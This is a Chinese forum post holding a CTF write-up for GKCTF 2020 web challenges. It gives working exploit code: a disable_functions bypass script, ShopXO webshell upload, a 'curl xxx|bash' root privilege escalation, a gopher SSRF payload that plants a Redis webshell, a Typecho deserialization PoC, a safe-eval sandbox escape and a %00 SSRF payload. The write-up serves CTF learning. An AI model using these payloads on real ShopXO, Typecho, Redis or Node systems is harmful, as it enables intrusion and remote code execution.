查看: 171|回复: 1

[Reverse] GKCTF_2020_全套wp

[复制链接]
发表于 2020-6-5 21:58:55 | 显示全部楼层 |阅读模式
  这周末打了两个比赛。BJDCTF3rd与GKCTF.这里个人认为GKCTF的题目收获挺多的,但是时间太紧,自己也在简单题上浪费了不少时间。所以把比赛时没来的及看或者没做出来的题都补全。
check_in  题目给出了源码。基本机理就是从$_REQUEST里获取Ginkgo变量然后eval执行。
  phpinfo()的话会发现存在disable_function,列目录会发现根目录有readflag.
  但是不要紧。我们有bypass脚本用,下面就是之前做buu上一道l33t-hoster的脚本拿来改的
import requests  import base64
  url='http://5e0893e9-0a1c-4836-8865-2771c87a52e4.node3.buuoj.cn/'
  def command(payload):
  return {"Ginkgo":base64.b64encode(payload.encode('utf-8')).decode('utf-8')}
  payload="move_uploaded_file($_FILES['file']['tmp_name'],'/tmp/exploit.php');echo 'ok';var_dump(scandir('/tmp'));"
  files = [('file',('exploit.php',open("exploit.php","rb"),'application/octet-stream'))]
  r = requests.post(url=url,data=command(payload),files=files)
  r=requests.post(url=url,data=command('include("/tmp/exploit.php");'))
  print(r.text)
  

  脚本要传到/tmp下,否则其他目录应该是不可写的。然后包含即可。
老八小超市儿  这题说实话挺简单的。就是手慢了几步。
  首先后台getshell不讲了,主要是按照网上能搜到的
  ShopXO全版本getshell流程走:先默认密码登录后台,下载主题并加上webshellbyc.php,再重新上传zip文件,访问/public/static/index/default/byc.php即可.
  拿到www-data的shell后发现需要提权。然后根目录flag.hint里给了个日期.不过我并没有怎么在意这个日期,而是按照自己htb渗透的习惯来.
  首先理论上应该来个扫描脚本的。不过这里很明显就能在根目录ls -la时发现auto.sh是root用户运行一个python脚本,每一分钟执行一次。找到python脚本后发现有写的权限。
  那就很简单了,直接写入命令import os;os.system('curl xxx|bash')
  (这里之前为了弹www-data的shell提前准备好了反弹脚本)然后等待监听的端口返回rootshell即可。flag在root目录下
EZ三剑客-EzWeb  这题二血。算是比较有意思的题目。
  首先会发现首页功能似乎是个ssrf。然后还给出了?secret参数看ip地址.
  不过其实这里并不需要给ip的,因为可以直接读/etc/hosts
  当然,想要常规的file协议读肯定是不行的.但是它过滤的不严,可以用类似xxe里利用file协议列目录的方式来读
  file:/var/www/html/index.php
  得到源码
<?php  function curl($url){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  echo curl_exec($ch);
  curl_close($ch);
  }
  if(isset($_GET['submit'])){
  $url = $_GET['url'];
  //echo $url."\n";
  if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
  {
  //var_dump($match);
  die('别这样');
  }
  curl($url);
  }
  if(isset($_GET['secret'])){
  system('ifconfig');
  }
  ?>
  

  不过flag并不在本机173.92.140.10。实际上这种方式想读根目录也并不可行。但基于这里是个curl的ssrf。那么就大有可为。
  不过这一步浪费了不少时间,后面才反应过来可以顺着探内网。
  尝试直接顺着ip探内网存活主机,发现173.92.140.13,提示其他端口,猜测是redis或者mysql之类的。
  于是探6379端口得到redis的报错命令。那么基本可以确认是gopher协议利用ssrf打redis未授权getshell了。
  可以看这篇文章Redis和SSRF
  命令的构建主要是编码问题。把命令进行正确编码就能打了
gopher://173.92.140.13:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A  

  这样就在140.13那写入webshell。然后直接173.92.140.13/shell.php?cmd=cat%20/flag即可
EZ三剑客-EzTypecho  这题真的可惜。比赛时因为其他题目没来得及看。结果发现基本就是原本的链子加上一个bypass就行了。
  先来过下源码。关于typeecho的洞出在install.php算是比较熟知的了。所以网上基本两个版本的POP链。如果有install.php就可以按第一个的思路走。
  首先这里的源码表明必须getfinish参数以及带上Referer才不会退出。

GKCTF_2020_全套wp

GKCTF_2020_全套wp
  接下来是反序列化点

GKCTF_2020_全套wp

GKCTF_2020_全套wp
  这里实际上只加上了一个session的判断。如果以前有现成的pocbypass了这个判断就能直接打了。这里自己先按照链子跟一下。
  上面我们的序列化数据被送进实例化了一个Typeecho_Db类里。跟进下
  发现构造方法调用了call_user_func()

GKCTF_2020_全套wp

GKCTF_2020_全套wp
  然后call_user_func的参数$adapterName有一个字符串拼接。那说明可以触发__toString.我们全局找下__toString
  找到var\Typecho\Feed.php
  其魔术方法中有这样一段

GKCTF_2020_全套wp

GKCTF_2020_全套wp
  这里item是遍历items得来的。而items可控。并且由于箭头所指位置调用了screenname属性。因此可能可以触发__get方法
  全局搜找到var\Typecho\Request.php
public function __get($key)  {
  return $this->get($key);
  }
  

  而get是

GKCTF_2020_全套wp

GKCTF_2020_全套wp
  我们上面要触发__get,是因为调用了screneName属性。那么触发get的话就是对应了$key。可以看到最后被送进_applyFilter的参数值来自params[$key]仍然是可控的
  最后就是跟进函数了。发现调用call_user_func可以命令执行。参数可控。所以链子到此结束。

GKCTF_2020_全套wp

GKCTF_2020_全套wp
  poc
<?php  class Typecho_Request
  {
  private $_params = array('screenName'=>'cat /flag');
  private $_filter = array('system');
  }
  class Typecho_Feed
  {
  private $_type = 'RSS 2.0';
  private $_items;
  public function __construct()
  {
  $this->_items=array(array("author"=>new Typecho_Request()));
  }
  }
  $config=array("adapter"=>new Typecho_Feed(),"prefix"=>'byc');
  echo base64_encode(serialize($config));
  ?>
  

  最后再回到开始提到的问题。想要触发反序列化必须要有个session.不过其实也有好几道题设及到了这个知识点。我们利用php的特性。带上php_session_upload_progress上传文件。并且cookie带上PHPSESSID。就会发现不会触发它提示no, you can't unserialize it without session QAQ了
  结果

GKCTF_2020_全套wp

GKCTF_2020_全套wp
  当然这题不按这个思路来也是可以的。因为get传参start处也有一个反序列化。直接打也没问题。总之这题花的时间是最短的,比赛时没做真的可惜。
EZ三剑客-EzNode  这题跟之前做npuctf时的一道node差不多。不过这里直接用的safe-eval库。显然是有poc可逃逸的。但是在这之前肯定有waf要绕。
app.use((req, res, next) => {  if (req.path === '/eval') {
  let delay = 60 * 1000;
  console.log(delay);
  if (Number.isInteger(parseInt(req.query.delay))) {
  delay = Math.max(delay, parseInt(req.query.delay));
  }
  const t = setTimeout(() => next(), delay);
  // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
  setTimeout(() => {
  clearTimeout(t);
  console.log('timeout');
  try {
  res.send('Timeout!');
  } catch (e) {
  }
  }, 1000);
  } else {
  next();
  }
  });
  

  这里settimout会发现导致我们的payload都无法执行。因此需要绕过,让delay小于1000才能进到safeeval的路由里。
  https://stackoverflow.com/questi ... second-delay-values
  这里存在一个issue。就是我们传入的delay如果大小超过32位,会被settimeout设为1.这样就满足条件了。
  后面搜到的safe-eval的poc直接打
const theFunction = function () {  const f = Buffer.prototype.write;
  const ft = {
  length: 10,
  utf8Write(){
  }
  };
  function r(i){
  var x = 0;
  try{
  x = r(i);
  }catch(e){}
  if(typeof(x)!=='number')
  return x;
  if(x!==i)
  return x+1;
  try{
  f.call(ft);
  }catch(e){
  return e;
  }
  return null;
  }
  var i=1;
  while(1){
  try{
  i=r(i).constructor.constructor("return process")();
  break;
  }catch(x){
  i++;
  }
  }
  return i.mainModule.require("child_process").execSync("id").toString()
  };
  const untrusted = `(${theFunction})()`;
  console.log(saferEval(untrusted));
  

  改成IIFE形式直接打。
  (function(){xxxxx})()

GKCTF_2020_全套wp

GKCTF_2020_全套wp
CVE版签到  这题我是真的没理解出题人的意思。后面提醒了CVE后还是没理解出题人的意思......结果大部分时间都花在这题上了。
  进去后似乎是一个ssrf。然后只有.ctfhub.com才会触发动作的样子。因此判断应该是有个正则了。然后发现header里提示flag在localhost,并且Host要以123结尾。
  这里我虽然大概明白后端运行流程,但是还是搞错了出题人的意图。太难受了。运用到的CVE其实就是getheader的CVE。之前BJD刚刚考过。这个函数特点就是会去请求并返回header.但是CVE告诉我们,如果是用%00截断,就可能让命令去请求用户的可控网址。
  在了解到这个CVE后,我以为是要返回头里的Host为123结束。结果最后才知道原来是要请求127.0.0.123。。。不知道说啥,只能说自己把提示搞成要绕的waf了。
  payload
  url=http://127.0.0.123%00.ctfhub.com
小结  这次比赛虽然后面基本就没花时间了,但是收获挺大的.至少发现自己临场变通的能力还是很差就跟平时学业一样...不过还是得稳扎稳打吧。最后还剩一场RCTF这个学期就要暂时跟CTF说再见了。争取能再发挥的稳一点。


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

0

主题

182

帖子

0

精华

解密专家

Rank: 16

学币
486
荣耀
0
rank
0
违规
0

神出鬼没

    发表于 2020-6-7 17:15:53 | 显示全部楼层
    支持学逆向论坛,资源不错!
    学逆向论坛-免费的逆向学习论坛
    微信公众号
    快速回复 返回顶部 返回列表